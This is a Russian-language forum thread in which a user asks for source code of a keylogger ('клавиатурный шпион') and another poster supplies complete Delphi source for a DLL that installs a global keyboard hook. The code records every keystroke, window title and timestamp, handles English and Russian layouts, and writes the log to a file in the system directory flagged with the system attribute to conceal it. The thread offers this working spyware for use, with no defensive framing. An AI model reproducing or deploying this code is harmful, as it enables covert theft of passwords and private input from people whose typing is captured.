Клавиатурный Шпион
Заранее Спасибо!
Цитата:
Originally posted by Eksell
У меня тут есть вопрос, а именно : можно ли сделать клавиатурного шпиона без всяких динамических библиотек, чисто ексешник? Может у кого есть исходничек такой программы? Очень нужно, помогите Please!
Заранее Спасибо!
У меня тут есть вопрос, а именно : можно ли сделать клавиатурного шпиона без всяких динамических библиотек, чисто ексешник? Может у кого есть исходничек такой программы? Очень нужно, помогите Please!
Заранее Спасибо!
Видимо, нельзя. Вот что пишут нам в MSDN:
Цитата:
The global hooks are a shared resource, and installing one affects all applications in the same desktop as the calling thread. All global hook functions must be in libraries.
Цитата:
Originally posted by makbeth
Видимо, нельзя. Вот что пишут нам в MSDN:
Видимо, нельзя. Вот что пишут нам в MSDN:
Ошибочка!!! МОЖНО!!!
Извеняюсь конечно, но где и когда это было уже не помню...8)
В одной "хакерской" статье видел рассмотрение данной проблемы на примере пары программ. И они без всяких DLL'ов, чисто своим кодом все ловили.
Так что можно!
Вот dll'ка :
======= bks.dll =============================
library bks32;
uses Windows;
var
KHook: HHOOK;
Wind: HWND;
function KProc(Code: integer; wParam: Word; lParam: LongInt): LongInt; stdcall;
const
KState: integer = 1073741824; // 01000000000000000000000000000000
var
Symb: ShortString;
KL: array [0..8] of Char;
WindCaption, WindDir: array [0..50] of Char;
FStruct: TOFSTRUCT;
F: TextFile;
STime: TSYSTEMTIME;
begin
if not (Code=HC_ACTION) then
begin
Result:=CallNextHookEx(KHook, code, wParam, lParam);
Exit;
end;
if (lParam and KState) <> 0 then
begin
Result:=CallNextHookEx(KHook, code, wParam, lParam);
Exit;
end;
GetSystemDirectory(@WindDir, 50);
AssignFile(F, WindDir+'\bks32.dat');
if OpenFile(PChar(WindDir+'\bks32.dat'), FStruct, OF_EXIST) = HFILE_ERROR then
begin
ReWrite(F);
SetFileAttributes(PChar(WindDir+'\bks32.dat'), FILE_ATTRIBUTE_SYSTEM);
end
else Append(F);
if Wind <> GetActiveWindow then
begin
UnhookWindowsHookEx(KHook);
Wind:=GetActiveWindow;
GetWindowText(Wind, @WindCaption, 50);
GetLocalTime(STime);
WriteLn(F,'');
WriteLn(F, '[', WindCaption, ' | ', STime.wDay, '.', STime.wMonth, '.',
STime.wYear, ' ', STime.wHour, ':', STime.wMinute, ':', STime.wSecond, ']');
end;
case wParam of
// Служебные
112: Symb:=' F1 ';
113: Symb:=' F2 ';
114: Symb:=' F3 ';
115: Symb:=' F4 ';
116: Symb:=' F5 ';
117: Symb:=' F6 ';
118: Symb:=' F7 ';
119: Symb:=' F8 ';
120: Symb:=' F9 ';
121: Symb:=' F10 ';
32: Symb:=' ';
8: Symb:=' BackSpace ';
9: Symb:=' Tab ';
13: Symb:=' Enter ';
16: Symb:=' Shift ';
17: Symb:=' Ctrl ';
18: Symb:=' Alt ';
20: Symb:=' CapsLock ';
27: Symb:=' Esc ';
45: Symb:=' Insert ';
33: Symb:=' PageUp ';
34: Symb:=' PageDown ';
35: Symb:=' End ';
36: Symb:=' Home ';
37: Symb:=' Left ';
38: Symb:=' Up ';
39: Symb:=' Right ';
40: Symb:=' Down ';
46: Symb:=' Delete ';
44: Symb:=' PrintScreen ';
145: Symb:=' ScrollLock ';
19: Symb:=' Pause ';
144: Symb:=' NumLock ';
// Цифры
48..57: Symb:=Chr(wParam);
96: Symb:='0';
97: Symb:='1';
98: Symb:='2';
99: Symb:='3';
100: Symb:='4';
101: Symb:='5';
102: Symb:='6';
103: Symb:='7';
104: Symb:='8';
105: Symb:='9';
// Другое
192: Symb:='`';
189,109: Symb:='-';
187: Symb:='=';
220: Symb:='\';
106: Symb:='*';
107: Symb:='+';
110: Symb:='.';
111: Symb:='/';
end;
GetKeyboardLayoutName(KL);
if KL = '00000409' then
begin
case wParam of
219: Symb:='[';
221: Symb:=']';
186: Symb:=';';
222: Symb:='"';
188: Symb:=',';
190: Symb:='.';
191: Symb:='/';
65..90: Symb:=Chr(wParam);
end;
end;
if KL = '00000419' then
begin
case wParam of
219: Symb:='Х';
221: Symb:='Ъ';
186: Symb:='Ж';
222: Symb:='Э';
188: Symb:='Б';
190: Symb:='Ю';
191: Symb:='.';
65: Symb:='Ф';
66: Symb:='И';
67: Symb:='С';
68: Symb:='В';
69: Symb:='У';
70: Symb:='А';
71: Symb:='П';
72: Symb:='Р';
73: Symb:='Ш';
74: Symb:='О';
75: Symb:='Л';
76: Symb:='Д';
77: Symb:='Ь';
78: Symb:='Т';
79: Symb:='Щ';
80: Symb:='З';
81: Symb:='Й';
82: Symb:='К';
83: Symb:='Ы';
84: Symb:='Е';
85: Symb:='Г';
86: Symb:='М';
87: Symb:='Ц';
88: Symb:='Ч';
89: Symb:='Н';
90: Symb:='Я';
end;
end;
Write(F, Symb);
CloseFile(F);
// Передать сообшение другим ловушкам в системе
Result:=CallNextHookEx(KHook, code, wParam, lParam);
end;
begin
// При инициализации установить ловушку
KHook:=SetWindowsHookEx(WH_KEYBOARD, @KProc, HInstance, 0);
end.
=================================================================
А в exe'шнике он просто регистрирует в системе класс для автоматической загрузки Шпиона.
Help!